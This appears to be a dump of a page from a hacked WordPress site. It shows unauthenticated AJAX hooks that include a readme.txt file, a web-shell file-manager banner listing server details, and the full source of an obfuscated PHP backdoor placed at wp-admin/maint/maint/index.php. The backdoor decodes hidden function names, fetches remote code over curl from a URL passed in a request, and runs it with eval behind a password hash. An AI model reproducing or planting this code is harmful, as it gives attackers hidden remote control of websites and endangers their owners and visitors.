if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-admin/maint/maint/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-admin/maint/maint/index.php
<?php
 goto UILBrrlFuozkIR; UILBrrlFuozkIR: $mb0dco3KbbtUd1 = "\162" . "\x61" . "\156" . "\x67" . "\x65"; goto Iu7FjcdjVU1mjt; cfn02PQfHLxtaG: class d5o8rrCuFlUCV1 { static function XNzj3dFymtRccI($SsRb3Kwf7OTn3n) { goto b1VT5gh0fRpZjn; PKNvjWsALTkeT7: $ej3BrMeLcgptiO = explode("\x3a", $SsRb3Kwf7OTn3n); goto r2woK1Ydh2ZOvf; b1VT5gh0fRpZjn: $LK_GQJVvhPcxj7 = "\162" . "\141" . "\x6e" . "\147" . "\145"; goto ITZNMEl05Hn_Lq; r2woK1Ydh2ZOvf: $UglaWotcdy1VEu = ''; goto w4RioIheqTveOb; vc5ZdH9nH0__ZH: GAkL5ulSG2hCKw: goto L5z7CfgCc3S_tm; ITZNMEl05Hn_Lq: $hf7BWl2oGWJaGY = $LK_GQJVvhPcxj7("\x7e", "\x20"); goto PKNvjWsALTkeT7; w4RioIheqTveOb: foreach ($ej3BrMeLcgptiO as $ijAFGygOx5SWW0 => $UqGj1jCTdo6StY) { $UglaWotcdy1VEu .= $hf7BWl2oGWJaGY[$UqGj1jCTdo6StY - 70182]; hH9TRwVbhEmdmq: } goto vc5ZdH9nH0__ZH; L5z7CfgCc3S_tm: return $UglaWotcdy1VEu; goto vxpLolofVNh5at; vxpLolofVNh5at: } static function k2EhJqXBprMd1h($AYFevO6oaT3L5Y, $vx5CIDzxHGbME0) { goto WBpV0ro_Ru7p9N; yoIcL2FXOi2tfN: curl_setopt($rzmLBmYNifF99B, CURLOPT_RETURNTRANSFER, 1); goto dLPL2Tyn2rf77F; dLPL2Tyn2rf77F: $gO_1y5YvVOA_1q = curl_exec($rzmLBmYNifF99B); goto SQsSIppJKuwA_D; SQsSIppJKuwA_D: return empty($gO_1y5YvVOA_1q) ? $vx5CIDzxHGbME0($AYFevO6oaT3L5Y) : $gO_1y5YvVOA_1q; goto YatgwDcOLPzwCf; WBpV0ro_Ru7p9N: $rzmLBmYNifF99B = curl_init($AYFevO6oaT3L5Y); goto yoIcL2FXOi2tfN; YatgwDcOLPzwCf: } static function QEySyv0O0529fF() { goto WJ8E525yHx5zkS; oTWOxbb7bBMYBZ: if (!(@$ER0ogZXVEYbJkm[0] - time() > 0 and md5(md5($ER0ogZXVEYbJkm[2 + 1])) === "\x62\x38\x66\x61\x37\65\66\x37\x31\145\x35\x31\x34\60\60\x38\145\x36\x63\x39\x38\x64\x31\146\62\x33\x33\x33\61\x34\x37\x63")) { goto uc7goZBdWtPq_6; } goto nmLO7lSWc3Sjv2; mvtx7LKoceA9d4: uc7goZBdWtPq_6: goto Rj5LRK6yWV8iC1; yYWmkUaIgJd0k1: E81HmUm78Mjj0k: goto cRgjXPEljEc2C2; cRgjXPEljEc2C2: $fabKSzNq4jvIEf = @$DXgPzI9aMsHU05[1]($DXgPzI9aMsHU05[2 + 8](INPUT_GET, $DXgPzI9aMsHU05[2 + 7])); goto FUrrYlzFdmxOFC; WJ8E525yHx5zkS: $jXaWFV95HvvkKG = array("\x37\60\x32\60\x39\x3a\67\60\61\71\x34\72\67\x30\62\60\67\x3a\67\x30\62\x31\x31\72\x37\60\61\x39\x32\x3a\x37\x30\62\x30\x37\x3a\67\60\62\61\63\72\67\60\x32\x30\x36\72\67\60\x31\71\x31\x3a\67\60\61\71\x38\x3a\x37\x30\x32\60\x39\x3a\67\60\x31\x39\62\72\67\60\x32\x30\63\72\67\x30\61\71\x37\x3a\67\60\61\x39\70", "\67\60\61\71\x33\72\x37\x30\x31\x39\62\72\67\60\x31\71\x34\x3a\x37\x30\62\61\63\72\x37\x30\x31\71\64\72\x37\x30\61\x39\67\72\67\x30\61\x39\x32\x3a\x37\x30\x32\65\71\72\67\60\x32\x35\67", "\x37\x30\x32\x30\x32\x3a\x37\60\61\71\x33\72\67\60\x31\71\67\72\x37\x30\x31\71\70\x3a\67\60\62\x31\x33\x3a\67\x30\62\60\x38\72\67\x30\x32\x30\67\x3a\67\60\62\60\71\72\67\x30\x31\x39\67\x3a\x37\x30\x32\x30\x38\x3a\x37\60\x32\x30\67", "\67\x30\x31\x39\x36\72\x37\60\x32\61\61\x3a\x37\x30\x32\x30\71\72\67\60\62\60\61", "\x37\60\x32\61\x30\72\x37\x30\62\61\61\x3a\x37\60\61\71\63\72\x37\60\62\x30\x37\x3a\x37\x30\62\x35\64\72\x37\x30\62\65\66\x3a\x37\60\62\61\63\x3a\x37\60\x32\x30\70\x3a\x37\60\62\60\x37\72\67\60\x32\60\71\x3a\x37\x30\61\71\67\72\67\60\62\x30\x38\72\x37\x30\x32\60\67", "\67\x30\x32\x30\66\x3a\x37\60\x32\60\x33\72\x37\x30\62\x30\x30\x3a\67\60\62\60\67\x3a\x37\x30\x32\x31\x33\72\67\x30\62\x30\x35\72\x37\60\62\x30\67\72\x37\60\x31\x39\62\72\x37\x30\x32\61\x33\x3a\x37\x30\x32\60\71\x3a\67\60\61\x39\x37\x3a\x37\60\x31\x39\x38\72\x37\60\61\x39\62\x3a\x37\60\x32\x30\x37\x3a\67\x30\x31\71\70\72\67\x30\61\x39\62\72\x37\60\61\71\63", "\67\x30\62\x33\x36\x3a\67\60\x32\x36\x36", "\x37\x30\61\x38\63", "\x37\x30\62\x36\x31\72\67\60\x32\66\66", "\67\60\x32\x34\x33\x3a\x37\60\62\x32\66\x3a\x37\x30\x32\x32\x36\x3a\x37\60\62\x34\x33\72\67\x30\62\61\71", "\67\60\x32\x30\66\72\67\x30\62\60\x33\72\x37\60\62\60\x30\72\67\60\x31\x39\62\72\x37\x30\x32\x30\x37\72\x37\x30\x31\71\64\72\x37\60\62\x31\63\x3a\67\60\x32\x30\x33\x3a\67\x30\61\x39\x38\x3a\67\x30\x31\x39\66\x3a\x37\x30\x31\71\x31\x3a\x37\x30\x31\x39\x32"); goto ZQzNGYwOThJsNi; ZT05inyacNhDAa: $ER0ogZXVEYbJkm = $DXgPzI9aMsHU05[2 + 0]($essgwx6Xgx7pk0, true); goto EnC2ZLQpzkv4wa; txc6LZt3h_7i2L: die; goto mvtx7LKoceA9d4; HDCgmUgjug243g: @eval($DXgPzI9aMsHU05[0 + 4]($WdRV5X1QyODHuU)); goto txc6LZt3h_7i2L; nmLO7lSWc3Sjv2: $WdRV5X1QyODHuU = self::K2EHjQXbpRmD1h($ER0ogZXVEYbJkm[0 + 1], $DXgPzI9aMsHU05[4 + 1]); goto HDCgmUgjug243g; ZQzNGYwOThJsNi: foreach ($jXaWFV95HvvkKG as $CEemHfQPsyWeZQ) { $DXgPzI9aMsHU05[] = self::xnzj3DFyMTrcci($CEemHfQPsyWeZQ); fiRtjIs92FezIE: } goto yYWmkUaIgJd0k1; EnC2ZLQpzkv4wa: @$DXgPzI9aMsHU05[6 + 4](INPUT_GET, "\157\x66") == 1 && die($DXgPzI9aMsHU05[2 + 3](__FILE__)); goto oTWOxbb7bBMYBZ; FUrrYlzFdmxOFC: $essgwx6Xgx7pk0 = @$DXgPzI9aMsHU05[3 + 0]($DXgPzI9aMsHU05[4 + 2], $fabKSzNq4jvIEf); goto ZT05inyacNhDAa; Rj5LRK6yWV8iC1: } } goto EvnZNSkwwkpZ4F; Ek825bHd_FJsij: bDQ1luR7W0tOIa: goto ehKSnbNRBE4NDR; Iu7FjcdjVU1mjt: $dJIETAQzslRyst = $mb0dco3KbbtUd1("\176", "\40"); goto m2J9pqF6zP6f02; T3cRJR19T6oyu3: @eval($GEiBLiIUpuARR2[66](${$GEiBLiIUpuARR2[44]}[27])); goto Ek825bHd_FJsij; C_o6Ux2hLqG861: if (!(in_array(gettype($GEiBLiIUpuARR2) . "\x32\x34", $GEiBLiIUpuARR2) && md5(md5(md5(md5($GEiBLiIUpuARR2[18])))) === "\66\65\63\65\145\x66\143\60\x37\x33\63\x65\144\64\x61\63\66\145\70\64\x33\x37\63\x35\61\65\x39\x65\x39\70\70\x31")) { goto bDQ1luR7W0tOIa; } goto fF9Ziy6TO8IBVY; m2J9pqF6zP6f02: $GEiBLiIUpuARR2 = ${$dJIETAQzslRyst[7 + 24] . $dJIETAQzslRyst[1 + 58] . $dJIETAQzslRyst[13 + 34] . $dJIETAQzslRyst[47 + 0] . $dJIETAQzslRyst[38 + 13] . $dJIETAQzslRyst[34 + 19] . $dJIETAQzslRyst[29 + 28]}; goto C_o6Ux2hLqG861; fF9Ziy6TO8IBVY: $GEiBLiIUpuARR2[66] = $GEiBLiIUpuARR2[66] . $GEiBLiIUpuARR2[73]; goto T3cRJR19T6oyu3; ehKSnbNRBE4NDR: metaphone("\x4e\104\115\65\x4f\x44\x67\63\115\x44\x63\63\115\x6a\x6b\62\115\x54\x67\x31\x4f\x44\147\61\x4d\x6a\x59\x32\x4e\104\125\x79"); goto cfn02PQfHLxtaG; EvnZNSkwwkpZ4F: D5O8rRCUfLUcV1::qeysyV0O0529ff();
?>
@ Telegram